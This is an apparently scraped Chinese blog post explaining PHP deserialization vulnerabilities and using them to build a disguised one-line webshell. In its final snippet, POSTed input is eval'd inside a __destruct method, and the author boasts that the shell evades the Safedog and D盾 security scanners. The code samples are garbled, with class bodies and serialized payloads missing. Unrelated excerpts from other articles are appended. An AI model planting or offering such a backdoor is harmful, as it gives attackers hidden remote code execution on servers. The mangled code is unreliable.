PHP反序列化漏洞與Webshell

2021-08-17 08:24:08 字數 1463 閱讀 2095

最近和小夥伴們一起研究了下php反序列化漏洞,突發奇想,利用反序列化漏洞寫乙個一句話木馬效果應該蠻不錯的。於是便有此文。

說起php反序列化,那必須先簡單說一下php的序列化。php序列化是將乙個物件、陣列、字串等轉化為位元組流便於傳輸,比如跨指令碼等。而php反序列化是將序列化之後的位元組流還原成物件、字元、陣列等。但是php序列化是不會儲存物件的方法。

<?php 

class a

$a = new a(); // 生成a物件

$b = serialize($a); // 序列化a物件為b

$c = unserialize($b); // 反序列化b物件為c

print_r($b); // 輸出序列化之後的值:o:1:"a":1:

echo "\n";

print_r($c->test); // 輸出物件c中test的值:demo

?>

php類中有一種特殊函式體的存在叫魔法函式,magic函式命名是以符號__開頭的,比如 __construct, __destruct, __tostring, __sleep, __wakeup等等。這些函式在某些情況下會自動呼叫,比如__construct當乙個物件建立時被呼叫,__destruct當乙個物件銷毀時被呼叫,__tostring當乙個物件被當作乙個字串使用。

而在反序列化時,如果反序列化物件中存在魔法函式,使用unserialize()函式同時也會觸發。這樣,一旦我們能夠控制unserialize()入口,那麼就可能引發物件注入漏洞。

<?php 

class a

}$a = $_get['test'];

$a_unser = unserialize($a);

?>

比如上述**,構造payload為"a":1:反序列化後在指令碼執行結束時就會呼叫_destruct函式,同時會覆蓋test變數輸出hello。

我們可以利用該漏洞點,控制輸入變數,拼接成乙個序列化物件。然後再構造乙個魔法函式,比如在_destruct()函式中呼叫eval執行序列化物件中的語句。

<?php 

class a

}$test = $_post['test'];

$len = strlen($test)+1;

$pp = "o:1:\"a\":1:"; // 構造序列化物件

$test_unser = unserialize($pp); // 反序列化同時觸發_destruct函式

?>

安全狗:

此木馬畢竟是跟正常檔案太像,所以免殺效果很不錯。這裡只是測試了安全狗、d盾,其餘自測。

而且由此可以引發很多變形,這裡只是利用反序列化漏洞,其他漏洞也可以用來當作木馬的載體,畢竟cms的**執行漏洞在被發現之前,他依舊是乙個正常到不能再正常的檔案。

php反序列漏洞 例項 PHP反序列化漏洞

雖然胳膊廢了,也不能停止我更新的腳步。寫個簡單點的吧 0x00 何為類和物件 說到序列化和反序列化就不得不提到兩個詞 類和物件 那麼什麼是類,什麼是物件 教科書式的答案是類是物件的抽象,物件是類的例項 那啥叫個抽象,啥叫個例項呢 簡單的說,類就是物件的乙個標準模板,而物件就是按照模板做出來的實物 一...

PHP反序列化漏洞

序列化簡單利用 serialize 序列化 使用函式serialize 可將例項序列化為字串 unserialize 反序列化 使用函式unserialize 可將序列化的字串還原 示例 class example unserialize get code 漏洞利用 構造漏洞利用的 儲存為test....

PHP反序列化漏洞

前幾天安恆月賽兩道web題中有一道題是關於php反序列化的,然後剛好前幾天剛好看過這個知識點,於是乎這次比賽才沒有爆零,總算是寫出來了一道題 doge 所有php裡面的值都可以使用函式serialize 來返回乙個包含位元組流的字串來表示。unserialize 函式能夠重新把字串變回php原來的值...